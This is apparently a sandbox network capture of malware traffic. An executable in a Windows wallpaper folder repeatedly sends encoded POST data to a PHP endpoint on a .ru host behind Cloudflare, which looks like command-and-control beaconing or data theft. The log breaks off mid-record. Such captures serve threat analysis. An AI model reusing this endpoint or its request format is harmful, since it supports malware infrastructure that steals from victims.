Jan 1, 2025 15:17:09.565270901 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:09.921428919 CET	1056	OUT	Data Raw: 54 50 54 55 5f 5c 52 59 59 5b 5a 5a 52 59 5b 5f 55 5a 5a 58 57 5e 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTU_\RYY[ZZRY[_UZZXW^[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C,/'(\!#)+7Y?->'%V$</Q661?Z<.3/*9]//_ ,
Jan 1, 2025 15:17:10.024434090 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:10.298904896 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qku%2B6eZva8gQbbUzrjKc1j20WcGeaCPJHKioDaEuiXDESntYQqR%2FyY1I0H11yvCVQ3%2BvrvdqWe6nO7NiF0TilZDsm1vU9A0Rjg%2BKMi8IzBkNz2aHJUFNJ%2Fu1EEJqhoZQ5JXt8FYY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3219d5cba42f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1656&rtt_var=886&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=537159&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:10.423984051 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:10.780858994 CET	1048	OUT	Data Raw: 54 52 51 50 5f 5d 52 5c 59 5b 5a 5a 52 5b 5b 5d 55 5f 5a 57 57 59 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRQP_]R\Y[ZZR[[]U_ZWWY[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A,3Z097!/)(7\<-P$9%1/#V#26Y&(=$/*9]//_ 4
Jan 1, 2025 15:17:10.897026062 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:11.161012888 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UXdkiINivIN0P%2FglV6GsvTRf%2BZxD6tjQbCfhlIV7CEgMyw5K%2FkQ0EkqT9kzacRjMuMUs0v7bHThWzZxQ%2BptdL9z2Y5JSnGM%2FGZH4TZDk4uQDeNTA64rYpEWd7KAf6Gw%2F8sB3iz3f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321a2c8748c57-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10016&min_rtt=2021&rtt_var=16749&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=22125&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:11.283847094 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:11.640131950 CET	1056	OUT	Data Raw: 51 55 51 52 5f 56 52 5c 59 5b 5a 5a 52 5d 5b 5d 55 5a 5a 5d 57 59 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUQR_VR\Y[ZZR][]UZZ]WY[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/Y?Y0#!'+3Z<=T$9*%??6152/;[(,9]//_ <
Jan 1, 2025 15:17:11.760149002 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:12.023900986 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BoM7h3aLkQ3%2FQkp%2B1hcybuQsdKjPHEwtkGm6byYMKAm3mo9cFaFaKrNmog98zJn3SM3HKtBc4B5Rsyid6c7xo6IdgShiW27O3n%2FLOJkPaReWrATkJY47punC194s0mVLUbjdi%2BIl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321a83fc44297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4606&min_rtt=1696&rtt_var=6456&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=58456&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:12.269840956 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:12.449498892 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:12.796576023 CET	1328	OUT	Data Raw: 54 52 51 53 5f 5c 52 5b 59 5b 5a 5a 52 52 5b 59 55 5e 5a 57 57 5f 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRQS_\R[Y[ZZRR[YU^ZWW_[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,70<Y"2?X+#?)T'9>&Z'6!*[2/3Z?=4;9]//_
Jan 1, 2025 15:17:12.907196999 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:13.169482946 CET	953	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EzeY6ClRx1UeJi8EqMmP1ds0wBR2IzvOjTxaiWnq7FzaxWRmc9KNDAQjq5yaPK9%2B5HBDf6mroiggxKVycKZ%2BTKaEmepJhDM5gfOp%2FyB0cwG0seClcOCyBVQlgJjIOmKAwcJgyxDj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321af6ea419bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4104&min_rtt=1984&rtt_var=4985&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=77052&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0a 35 3a 03 1f 25 3f 30 58 2c 2f 2d 13 28 28 23 03 29 2c 0b 19 26 01 26 1c 2a 31 3d 18 23 2a 27 19 2b 2c 00 08 26 12 25 50 24 28 2e 5a 0d 1c 3a 04 21 3e 34 0e 25 0b 25 52 33 01 22 04 20 2d 04 5d 36 02 3f 5c 27 3d 35 07 24 2a 29 54 2e 00 01 59 2e 2e 22 43 38 23 2e 5a 24 05 23 50 0f 1f 20 0d 26 58 3a 02 27 0f 19 01 23 20 2c 56 21 2a 31 1c 34 03 3c 57 25 29 3d 00 24 5e 2a 13 27 3c 3b 1c 22 10 0c 53 27 21 3c 0e 24 08 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-5:%?0X,/-((#),&&1=#'+,&%P$(.Z:!>4%%R3" -]6?\'=5$)T.Y.."C8#.Z$#P &X:'# ,V!14<W%)=$^*'<;"S'!<$/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:12.579992056 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:12.936981916 CET	1056	OUT	Data Raw: 51 55 54 55 5a 58 57 58 59 5b 5a 5a 52 58 5b 51 55 5d 5a 57 57 58 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUTUZXWXY[ZZRX[QU]ZWWX[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E,/[0[!)8X<-)3)P&,"26&/'\?=+Z/9]//_ (
Jan 1, 2025 15:17:13.038554907 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:13.290865898 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C0S3D3BbXLyh8MDxusiPb23sruhJouJsjFydQzYb9mKAYpDObXG1e6LcTtjugS5JIoxaVsEOVJcImtn3Fiu55Yh51QKtO2Il9i1LdltrqAEOjlIYJwQT%2B9klTLfnhP76gjYkGQs2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321b03d120cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3064&min_rtt=1627&rtt_var=3485&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=111229&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:13.431957960 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:13.780952930 CET	1056	OUT	Data Raw: 54 5c 51 57 5a 5d 52 5b 59 5b 5a 5a 52 59 5b 5f 55 5b 5a 59 57 58 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\QWZ]R[Y[ZZRY[_U[ZYWX[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;Y?$+51,((0+-V35%Z462/?[(?/*9]//_ ,
Jan 1, 2025 15:17:13.875117064 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:14.127724886 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E3JxRVj9ASH4LNSiD6UOZpnKIi%2Bjt1m917sWpB6PMp%2FKL35Z2LJeVMzatYk7XwKok3q2BS3TaC8NorV0Plv%2BWBceHGOMz4RD00zEe6qNKCGUvRLMPfmRYRnpdewOaQs7SdyIZnOA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321b56c42f793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3706&min_rtt=1507&rtt_var=4964&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=76423&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49742	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:14.252717972 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:14.628032923 CET	1056	OUT	Data Raw: 54 55 51 54 5a 5a 52 5a 59 5b 5a 5a 52 5e 5b 58 55 5b 5a 58 57 5c 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQTZZRZY[ZZR^[XU[ZXW\[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-/ '<6;_(0<$1Q&<8#1"2,3<+,:9]//_ 0
Jan 1, 2025 15:17:14.716491938 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:14.975822926 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V4ErI4zM7qMGS9megv69zQ1BQTcBf3SHGhxhz4%2Blk1M4jhBUrRXpsXb598WFElivEmkanOeJ%2BWBZQ33dvFyPNz8jSE0dst%2FxH%2FxOIxRRaPE5piFWqvn7G7Jp5cm3FOd%2B8Rql7%2BJF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321baa9b54407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2651&min_rtt=1732&rtt_var=2487&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=160722&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:15.109467030 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:15.468194962 CET	1056	OUT	Data Raw: 54 5c 51 54 5f 5e 52 59 59 5b 5a 5a 52 5e 5b 5e 55 54 5a 5a 57 5f 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\QT_^RYY[ZZR^[^UTZZW_[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-,/39"W;\+8?>$)9W$/ !22Z&;(X(/:9]//_ 0
Jan 1, 2025 15:17:15.581515074 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:15.784713984 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2FYf3iY9QUUsNwEqFsDntrHom8LKtCW27GrS9wfh5FGrF9PkJhxH4u93hcH56RQbtBuWPeUKF1axiOTYilV6sa7HQtUKOvkOgyAq7jIz9UIb%2F74A4HkWdWNmFCLLbElXGBHqHvI0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321c01e9642fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4264&min_rtt=1746&rtt_var=5691&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=66691&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49746	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:15.924123049 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:16.280730009 CET	1056	OUT	Data Raw: 54 51 54 52 5a 5f 57 5c 59 5b 5a 5a 52 59 5b 5a 55 5f 5a 58 57 50 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQTRZ_W\Y[ZZRY[ZU_ZXWP[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';?4390"7+80(.-3"2!1)&<,(>(;9]//_ ,
Jan 1, 2025 15:17:16.392101049 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:16.655066967 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XFP%2Fk8wiMxJdIsMhPMBGf8Ugth3UQ%2Fqz%2Fr9OnBH4O%2FWlHDcbd0htA28hustI3G4hbNrWMxfZncaMnVP6RWQ2pO01zT5dHwoG3AA5R4AxKrAOOJMKdribz7%2BVjemluouuEjmKQOa%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321c5289c330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9808&min_rtt=3979&rtt_var=13150&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=28847&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49748	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:16.782437086 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:17.140194893 CET	1048	OUT	Data Raw: 51 50 54 57 5a 5c 57 5b 59 5b 5a 5a 52 5b 5b 5c 55 5b 5a 5c 57 50 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPTWZ\W[Y[ZZR[[\U[Z\WP[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]', 08[!"+Y(/(=V%9)S2Z$!1&Z&?<X'-:9]//_ 0
Jan 1, 2025 15:17:17.242614985 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:17.494862080 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ej3C1wbSlLQ%2FIp4T7lyYRwJod%2B6XeQfl5ZbTPy%2FfqaZteg7VO4u2r0CCH2DkBsSHdAUUOuINytNbmOsV%2BXSF%2B%2F6Dzj8v89c5Qerc44PnVyrLlKnNK4LQfDv%2Bd56g1qj%2FUvBJsoFp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321ca7efb42d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: 